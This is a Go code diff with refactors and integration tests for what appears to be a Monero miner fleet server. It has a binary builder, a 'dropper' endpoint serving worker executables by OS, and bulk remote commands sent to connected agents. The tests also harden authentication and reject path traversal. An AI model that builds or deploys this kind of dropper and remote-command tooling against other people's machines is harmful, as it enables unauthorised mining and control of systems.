w := httptest.NewRecorder() w := httptest.NewRecorder()
h.HandleDecide(w, req) h.HandleDecide(w, req)
if w.Code != http.StatusOK { if w.Code != http.StatusForbidden {
t.Fatalf("status %d %s", w.Code, w.Body.String()) t.Fatalf("unregistered agent should get 403, got %d body=%s", w.Code, w.Body.String())
} }
if h.GetEngine("agent-new") == nil { // Engine must NOT be created from the caller-supplied URL.
t.Fatal("engine should exist after first decide") if h.GetEngine("agent-not-in-ws") != nil {
t.Fatal("engine should NOT be created from caller-supplied endpoint")
} }
} }

View File

@@ -4,13 +4,10 @@ import (
"encoding/json" "encoding/json"
"net/http" "net/http"
"strings" "strings"
"crypto-miner-server/internal/db"
) )
// ConfigHandler handles GET/PUT for server configuration settings // ConfigHandler handles GET/PUT for server configuration settings
type ConfigHandler struct { type ConfigHandler struct {
db *db.Database
config ConfigProvider config ConfigProvider
} }
@@ -20,11 +17,8 @@ type ConfigProvider interface {
UpdateConfigFromJSON(data json.RawMessage) error UpdateConfigFromJSON(data json.RawMessage) error
} }
func NewConfigHandler(database *db.Database, cp ConfigProvider) *ConfigHandler { func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
return &ConfigHandler{ return &ConfigHandler{config: cp}
db: database,
config: cp,
}
} }
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {

View File

@@ -10,8 +10,6 @@ import (
"net/http/httptest" "net/http/httptest"
"strings" "strings"
"testing" "testing"
"crypto-miner-server/internal/db"
) )
// stubConfigProvider implements ConfigProvider for handler unit tests. // stubConfigProvider implements ConfigProvider for handler unit tests.
@@ -39,17 +37,12 @@ func (s *stubConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
func newTestConfigHandler(t *testing.T, cp ConfigProvider) *ConfigHandler { func newTestConfigHandler(t *testing.T, cp ConfigProvider) *ConfigHandler {
t.Helper() t.Helper()
database, err := db.New(t.TempDir()) return NewConfigHandler(cp)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { database.Close() })
return NewConfigHandler(database, cp)
} }
func TestNewConfigHandler(t *testing.T) { func TestNewConfigHandler(t *testing.T) {
h := newTestConfigHandler(t, &stubConfigProvider{}) h := newTestConfigHandler(t, &stubConfigProvider{})
if h == nil || h.config == nil || h.db == nil { if h == nil || h.config == nil {
t.Fatal("NewConfigHandler returned incomplete handler") t.Fatal("NewConfigHandler returned incomplete handler")
} }
} }

View File

@@ -23,11 +23,7 @@ type xmrPriceEntry struct {
fetchedAt time.Time fetchedAt time.Time
} }
var ( const xmrPriceTTL = 10 * time.Minute
xmrPriceMu sync.Mutex
xmrPriceCache *xmrPriceEntry
xmrPriceTTL = 10 * time.Minute
)
type FleetHandler struct { type FleetHandler struct {
db *db.Database db *db.Database
@@ -37,6 +33,10 @@ type FleetHandler struct {
alerts *alerts.Evaluator alerts *alerts.Evaluator
defaultPool pool.Config defaultPool pool.Config
// XMR price cache — per-handler so multiple routers in one process stay isolated.
xmrPriceMu sync.Mutex
xmrPriceCache *xmrPriceEntry
// Real-earnings cache (avoids hammering the pool API) // Real-earnings cache (avoids hammering the pool API)
earningsMu sync.Mutex earningsMu sync.Mutex
earningsCache map[string]*poolEarningsCache earningsCache map[string]*poolEarningsCache
@@ -87,11 +87,11 @@ func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
// GetXMRPrice returns the current XMR/USD price from CoinGecko, cached for 10 minutes. // GetXMRPrice returns the current XMR/USD price from CoinGecko, cached for 10 minutes.
// Falls back to a 503 when the upstream is unreachable so the frontend can degrade gracefully. // Falls back to a 503 when the upstream is unreachable so the frontend can degrade gracefully.
func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) { func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
xmrPriceMu.Lock() f.xmrPriceMu.Lock()
if xmrPriceCache != nil && time.Since(xmrPriceCache.fetchedAt) < xmrPriceTTL { if f.xmrPriceCache != nil && time.Since(f.xmrPriceCache.fetchedAt) < xmrPriceTTL {
usd := xmrPriceCache.USD usd := f.xmrPriceCache.USD
at := xmrPriceCache.fetchedAt at := f.xmrPriceCache.fetchedAt
xmrPriceMu.Unlock() f.xmrPriceMu.Unlock()
writeJSON(w, map[string]interface{}{ writeJSON(w, map[string]interface{}{
"usd": usd, "usd": usd,
"fetched_at": at.UTC().Format(time.RFC3339), "fetched_at": at.UTC().Format(time.RFC3339),
@@ -99,7 +99,7 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
}) })
return return
} }
xmrPriceMu.Unlock() f.xmrPriceMu.Unlock()
client := &http.Client{Timeout: 8 * time.Second} client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
@@ -118,9 +118,9 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
usd := raw["monero"]["usd"] usd := raw["monero"]["usd"]
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()} entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
xmrPriceMu.Lock() f.xmrPriceMu.Lock()
xmrPriceCache = entry f.xmrPriceCache = entry
xmrPriceMu.Unlock() f.xmrPriceMu.Unlock()
writeJSON(w, map[string]interface{}{ writeJSON(w, map[string]interface{}{
"usd": usd, "usd": usd,

View File

@@ -43,15 +43,15 @@ func setMockHTTPTransport(t *testing.T, fn roundTripFunc) {
t.Cleanup(func() { http.DefaultTransport = orig }) t.Cleanup(func() { http.DefaultTransport = orig })
} }
func resetXMRPriceCache(t *testing.T) { func resetXMRPriceCache(t *testing.T, fh *FleetHandler) {
t.Helper() t.Helper()
xmrPriceMu.Lock() fh.xmrPriceMu.Lock()
xmrPriceCache = nil fh.xmrPriceCache = nil
xmrPriceMu.Unlock() fh.xmrPriceMu.Unlock()
t.Cleanup(func() { t.Cleanup(func() {
xmrPriceMu.Lock() fh.xmrPriceMu.Lock()
xmrPriceCache = nil fh.xmrPriceCache = nil
xmrPriceMu.Unlock() fh.xmrPriceMu.Unlock()
}) })
} }
@@ -270,13 +270,12 @@ func TestFleetGetAIActivityWithEntries(t *testing.T) {
} }
func TestFleetGetXMRPriceCacheHit(t *testing.T) { func TestFleetGetXMRPriceCacheHit(t *testing.T) {
resetXMRPriceCache(t)
fetchedAt := time.Now().Add(-2 * time.Minute)
xmrPriceMu.Lock()
xmrPriceCache = &xmrPriceEntry{USD: 165.5, fetchedAt: fetchedAt}
xmrPriceMu.Unlock()
fh, _, _, _ := newTestFleetHandler(t) fh, _, _, _ := newTestFleetHandler(t)
resetXMRPriceCache(t, fh)
fetchedAt := time.Now().Add(-2 * time.Minute)
fh.xmrPriceMu.Lock()
fh.xmrPriceCache = &xmrPriceEntry{USD: 165.5, fetchedAt: fetchedAt}
fh.xmrPriceMu.Unlock()
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil)) fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
if rec.Code != http.StatusOK { if rec.Code != http.StatusOK {
@@ -292,7 +291,6 @@ func TestFleetGetXMRPriceCacheHit(t *testing.T) {
} }
func TestFleetGetXMRPriceFetchSuccess(t *testing.T) { func TestFleetGetXMRPriceFetchSuccess(t *testing.T) {
resetXMRPriceCache(t)
setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) { setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
if !strings.Contains(req.URL.Host, "coingecko.com") { if !strings.Contains(req.URL.Host, "coingecko.com") {
t.Fatalf("unexpected host %s", req.URL.Host) t.Fatalf("unexpected host %s", req.URL.Host)
@@ -319,7 +317,6 @@ func TestFleetGetXMRPriceFetchSuccess(t *testing.T) {
} }
func TestFleetGetXMRPriceFetchNetworkError(t *testing.T) { func TestFleetGetXMRPriceFetchNetworkError(t *testing.T) {
resetXMRPriceCache(t)
setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) { setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
return nil, errors.New("network down") return nil, errors.New("network down")
}) })
@@ -333,7 +330,6 @@ func TestFleetGetXMRPriceFetchNetworkError(t *testing.T) {
} }
func TestFleetGetXMRPriceParseError(t *testing.T) { func TestFleetGetXMRPriceParseError(t *testing.T) {
resetXMRPriceCache(t)
setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) { setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
rec.WriteHeader(http.StatusOK) rec.WriteHeader(http.StatusOK)

View File

@@ -1,16 +1,24 @@
package api package api
import ( import (
"bytes"
"encoding/json" "encoding/json"
"errors"
"io"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
"os" "os"
"path/filepath" "path/filepath"
"strings"
"testing" "testing"
"time"
"crypto-miner-server/internal/builder" "crypto-miner-server/internal/builder"
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool" "crypto-miner-server/internal/pool"
"github.com/gorilla/websocket"
) )
type mockConfigProvider struct { type mockConfigProvider struct {
@@ -31,6 +39,7 @@ func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error {
const testAuthUser = "testuser" const testAuthUser = "testuser"
const testAuthPass = "testpass" const testAuthPass = "testpass"
const testFleetSecret = "test-fleet-secret-integration"
func seedTestUsers(t *testing.T, dataDir string) { func seedTestUsers(t *testing.T, dataDir string) {
t.Helper() t.Helper()
@@ -44,7 +53,7 @@ func seedTestUsers(t *testing.T, dataDir string) {
} }
} }
func newTestRouter(t *testing.T) (http.Handler, string) { func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
t.Helper() t.Helper()
dataDir := t.TempDir() dataDir := t.TempDir()
seedTestUsers(t, dataDir) seedTestUsers(t, dataDir)
@@ -57,7 +66,7 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
wsHub := NewWSHub(database) wsHub := NewWSHub(database)
cfg := &mockConfigProvider{} cfg := &mockConfigProvider{}
configHandler := NewConfigHandler(database, cfg) configHandler := NewConfigHandler(cfg)
aiHandler := NewAIHandler(database) aiHandler := NewAIHandler(database)
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
@@ -68,11 +77,95 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644) _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil) dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
t.Helper()
var req *http.Request
if body != nil {
req = httptest.NewRequest(method, path, bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
} else {
req = httptest.NewRequest(method, path, nil)
}
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
// serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes).
func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder {
t.Helper()
var req *http.Request
if body != nil {
req = httptest.NewRequest(method, path, bytes.NewReader(body))
req.Header.Set("Content-Type", "application/json")
} else {
req = httptest.NewRequest(method, path, nil)
}
req.Header.Set("X-Fleet-Secret", secret)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
return rec
}
func insertTestBuild(t *testing.T, database *db.Database, dataDir, buildID, platform, fileName string) {
t.Helper()
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
binPath := filepath.Join(buildDir, fileName)
if err := os.WriteFile(binPath, []byte("fake-binary-"+platform), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: "worker", ServerURL: "http://localhost:8989", Wallet: "48x",
FilePath: binPath, FileName: fileName, Platform: platform, CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
}
func startRouterServer(t *testing.T, router http.Handler) *httptest.Server {
t.Helper()
srv := httptest.NewServer(router)
t.Cleanup(srv.Close)
return srv
}
func connectAgentViaRouter(t *testing.T, router http.Handler, agentID string) (*websocket.Conn, *httptest.Server) {
t.Helper()
srv := startRouterServer(t, router)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/agent"
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
t.Fatalf("dial agent ws: %v", err)
}
t.Cleanup(func() { _ = conn.Close() })
authPayload, _ := json.Marshal(map[string]interface{}{
"agent_id": agentID,
"hostname": "integration-host",
"version": "1.0",
})
if err := conn.WriteJSON(Message{Type: "auth", Payload: authPayload}); err != nil {
t.Fatalf("send auth: %v", err)
}
var resp Message
if err := conn.ReadJSON(&resp); err != nil {
t.Fatalf("read auth_response: %v", err)
}
if resp.Type != "auth_response" {
t.Fatalf("expected auth_response, got %q", resp.Type)
}
return conn, srv
} }
func TestHealthIsPublic(t *testing.T) { func TestHealthIsPublic(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
@@ -89,7 +182,7 @@ func TestHealthIsPublic(t *testing.T) {
} }
func TestConfigRequiresAuth(t *testing.T) { func TestConfigRequiresAuth(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
@@ -99,7 +192,7 @@ func TestConfigRequiresAuth(t *testing.T) {
} }
func TestConfigWithValidAuth(t *testing.T) { func TestConfigWithValidAuth(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil)
req.SetBasicAuth(testAuthUser, testAuthPass) req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
@@ -110,7 +203,7 @@ func TestConfigWithValidAuth(t *testing.T) {
} }
func TestAgentsListRequiresAuth(t *testing.T) { func TestAgentsListRequiresAuth(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
@@ -120,7 +213,7 @@ func TestAgentsListRequiresAuth(t *testing.T) {
} }
func TestAgentsListAuthedEmpty(t *testing.T) { func TestAgentsListAuthedEmpty(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
req.SetBasicAuth(testAuthUser, testAuthPass) req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
@@ -138,13 +231,14 @@ func TestAgentsListAuthedEmpty(t *testing.T) {
} }
func TestArtifactDownloadRejectsTraversal(t *testing.T) { func TestArtifactDownloadRejectsTraversal(t *testing.T) {
router, dataDir := newTestRouter(t) router, _, _, dataDir := newTestRouter(t)
buildID := "test-build-id" buildID := "test-build-id"
buildDir := filepath.Join(dataDir, "builds", buildID) buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil { if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err) t.Fatal(err)
} }
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/..%2F..%2Fsecret.txt", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/..%2F..%2Fsecret.txt", nil)
req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound { if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound {
@@ -153,7 +247,7 @@ func TestArtifactDownloadRejectsTraversal(t *testing.T) {
} }
func TestSPAServesIndex(t *testing.T) { func TestSPAServesIndex(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/dashboard", nil) req := httptest.NewRequest(http.MethodGet, "/dashboard", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
router.ServeHTTP(rec, req) router.ServeHTTP(rec, req)
@@ -179,7 +273,7 @@ func indexOf(s, sub string) int {
} }
func TestStatsLimitCapped(t *testing.T) { func TestStatsLimitCapped(t *testing.T) {
router, _ := newTestRouter(t) router, _, _, _ := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil)
req.SetBasicAuth(testAuthUser, testAuthPass) req.SetBasicAuth(testAuthUser, testAuthPass)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()
@@ -189,3 +283,437 @@ func TestStatsLimitCapped(t *testing.T) {
t.Fatalf("limit cap caused server error: %s", rec.Body.String()) t.Fatalf("limit cap caused server error: %s", rec.Body.String())
} }
} }
func TestIntegrationServerInfo(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/server/info", nil)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if _, ok := body["port"]; !ok {
t.Fatalf("expected port in server info: %v", body)
}
}
func TestIntegrationDashboardStats(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/dashboard/stats", nil)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationGetAgentNotFound(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/agents/missing-agent", nil)
if rec.Code != http.StatusNotFound {
t.Fatalf("expected 404, got %d", rec.Code)
}
}
func TestIntegrationAgentLog(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
agentID := "log-agent"
connectTestAgent(t, wsHub, agentID)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/agents/"+agentID+"/log", nil)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["agent_id"] != agentID {
t.Fatalf("unexpected agent_id: %v", body["agent_id"])
}
}
func TestIntegrationAgentCommandOffline(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/offline-agent/command",
[]byte(`{"action":"pause"}`))
if rec.Code != http.StatusBadRequest {
t.Fatalf("expected 400 for offline agent, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationAgentMeta(t *testing.T) {
router, _, database, _ := newTestRouter(t)
agent := &models.Agent{ID: "meta-rig", Name: "rig", Status: "offline", LastSeen: time.Now()}
if err := database.UpsertAgent(agent); err != nil {
t.Fatal(err)
}
rec := serveAuthed(t, router, http.MethodPut, "/api/v1/agents/meta-rig/meta",
[]byte(`{"notes":"integration test","tags":["lab"]}`))
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationBulkCommandPartialFailure(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
onlineID := "bulk-online"
connectTestAgent(t, wsHub, onlineID)
payload := `{"agent_ids":["` + onlineID + `","offline-one"],"action":"pause","command":"tasklist"}`
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/bulk-command", []byte(payload))
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["success"] != true {
t.Fatalf("expected partial success true, got %v", body)
}
if body["sent"].(float64) != 1 || body["failed"].(float64) != 1 {
t.Fatalf("sent/failed counts: %v", body)
}
}
func TestIntegrationFleetReadEndpoints(t *testing.T) {
router, _, _, _ := newTestRouter(t)
paths := []string{
"/api/v1/alerts",
"/api/v1/pools/status",
"/api/v1/ai/activity",
"/api/v1/earnings/estimate",
"/api/v1/shares",
"/api/v1/builds",
}
for _, path := range paths {
rec := serveAuthed(t, router, http.MethodGet, path, nil)
if rec.Code != http.StatusOK {
t.Fatalf("%s status=%d body=%s", path, rec.Code, rec.Body.String())
}
}
}
func TestIntegrationMarketXMR(t *testing.T) {
setMockHTTPTransport(t, roundTripFunc(func(req *http.Request) (*http.Response, error) {
if !strings.Contains(req.URL.String(), "coingecko") {
return nil, errors.New("unexpected url")
}
body := `{"monero":{"usd":165.5}}`
return &http.Response{
StatusCode: http.StatusOK,
Body: io.NopCloser(strings.NewReader(body)),
Header: http.Header{"Content-Type": []string{"application/json"}},
}, nil
}))
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/market/xmr", nil)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body["usd"].(float64) != 165.5 {
t.Fatalf("unexpected price: %v", body["usd"])
}
}
func TestIntegrationBuildsLifecycle(t *testing.T) {
router, _, database, dataDir := newTestRouter(t)
buildID := "lifecycle-build"
insertTestBuild(t, database, dataDir, buildID, "windows", "worker.exe")
rec := serveAuthed(t, router, http.MethodGet, "/api/v1/builds", nil)
if rec.Code != http.StatusOK {
t.Fatalf("list status=%d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodPut, "/api/v1/builds/"+buildID+"/pin", nil)
if rec.Code != http.StatusOK {
t.Fatalf("pin status=%d body=%s", rec.Code, rec.Body.String())
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builds/pin", nil)
if rec.Code != http.StatusOK {
t.Fatalf("unpin status=%d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builds/"+buildID, nil)
if rec.Code != http.StatusOK {
t.Fatalf("delete status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationPutConfig(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodPut, "/api/v1/config", []byte(`{"port":9090}`))
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
if !strings.Contains(rec.Body.String(), "9090") {
t.Fatalf("expected updated config: %s", rec.Body.String())
}
}
func TestIntegrationBuilderRoutes(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/builder/build", []byte(`{}`))
if rec.Code == http.StatusNotFound {
t.Fatal("builder/build route not registered")
}
rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/estimate", []byte("not-multipart"))
if rec.Code == http.StatusNotFound {
t.Fatal("builder/estimate route not registered")
}
if rec.Code != http.StatusBadRequest {
t.Fatalf("estimate without multipart expected 400, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builder/cancel/no-such-token", nil)
if rec.Code != http.StatusNotFound {
t.Fatalf("cancel missing token expected 404, got %d", rec.Code)
}
}
func TestIntegrationBlueprintsCRUD(t *testing.T) {
router, _, _, dataDir := newTestRouter(t)
saveBody, _ := json.Marshal(map[string]interface{}{
"name": "integration-preset",
"data": map[string]interface{}{"threads": 2},
})
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/blueprints", saveBody)
if rec.Code != http.StatusOK {
t.Fatalf("save status=%d body=%s", rec.Code, rec.Body.String())
}
filePath := filepath.Join(dataDir, "blueprints", "integration-preset.json")
if _, err := os.Stat(filePath); err != nil {
t.Fatalf("blueprint file missing: %v", err)
}
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints", nil)
if rec.Code != http.StatusOK {
t.Fatalf("list status=%d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints/integration-preset", nil)
if rec.Code != http.StatusOK {
t.Fatalf("get status=%d body=%s", rec.Code, rec.Body.String())
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/blueprints?name=integration-preset", nil)
if rec.Code != http.StatusOK {
t.Fatalf("delete status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationBlueprintErrors(t *testing.T) {
router, _, _, _ := newTestRouter(t)
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/blueprints", []byte(`{"name":"","data":{}}`))
if rec.Code != http.StatusBadRequest {
t.Fatalf("empty name expected 400, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints/missing-preset", nil)
if rec.Code != http.StatusNotFound {
t.Fatalf("missing blueprint expected 404, got %d", rec.Code)
}
rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/blueprints", nil)
if rec.Code != http.StatusBadRequest {
t.Fatalf("delete without name expected 400, got %d", rec.Code)
}
}
func TestIntegrationAIRoutes(t *testing.T) {
router, _, _, _ := newTestRouter(t)
// Agent routes require fleet secret (not Basic Auth).
SetAgentPathSecret(testFleetSecret)
t.Cleanup(func() { SetAgentPathSecret("") })
// decide: missing agent_id → 400.
rec := serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/decide", testFleetSecret, []byte(`{"worker_name":"x"}`))
if rec.Code != http.StatusBadRequest {
t.Fatalf("decide missing agent_id expected 400, got %d body=%s", rec.Code, rec.Body.String())
}
// report and heartbeat require fleet secret; they don't need a pre-registered engine.
body, _ := json.Marshal(map[string]string{"agent_id": "report-agent", "tool": "sleep", "output": "ok"})
rec = serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/report", testFleetSecret, body)
if rec.Code != http.StatusOK {
t.Fatalf("report status=%d body=%s", rec.Code, rec.Body.String())
}
hb, _ := json.Marshal(map[string]string{"agent_id": "hb-agent", "status": "alive"})
rec = serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/heartbeat", testFleetSecret, hb)
if rec.Code != http.StatusOK {
t.Fatalf("heartbeat status=%d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationAgentRoutesFleetSecret(t *testing.T) {
router, _, _, _ := newTestRouter(t)
SetAgentPathSecret("integration-fleet-secret")
t.Cleanup(func() { SetAgentPathSecret("") })
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat",
bytes.NewReader([]byte(`{"agent_id":"a","status":"alive"}`)))
req.Header.Set("Content-Type", "application/json")
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusForbidden {
t.Fatalf("missing fleet secret expected 403, got %d", rec.Code)
}
req.Header.Set("X-Fleet-Secret", "integration-fleet-secret")
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("valid fleet secret expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
}
func TestIntegrationDropperVariants(t *testing.T) {
router, _, database, dataDir := newTestRouter(t)
req := httptest.NewRequest(http.MethodGet, "/get", nil)
rec := httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusNotFound {
t.Fatalf("no builds expected 404, got %d", rec.Code)
}
insertTestBuild(t, database, dataDir, "win-drop", "windows", "worker.exe")
req = httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("windows build expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
req = httptest.NewRequest(http.MethodGet, "/get?os=linux", nil)
rec = httptest.NewRecorder()
router.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("linux with only windows build falls back to latest, expected 200, got %d", rec.Code)
}
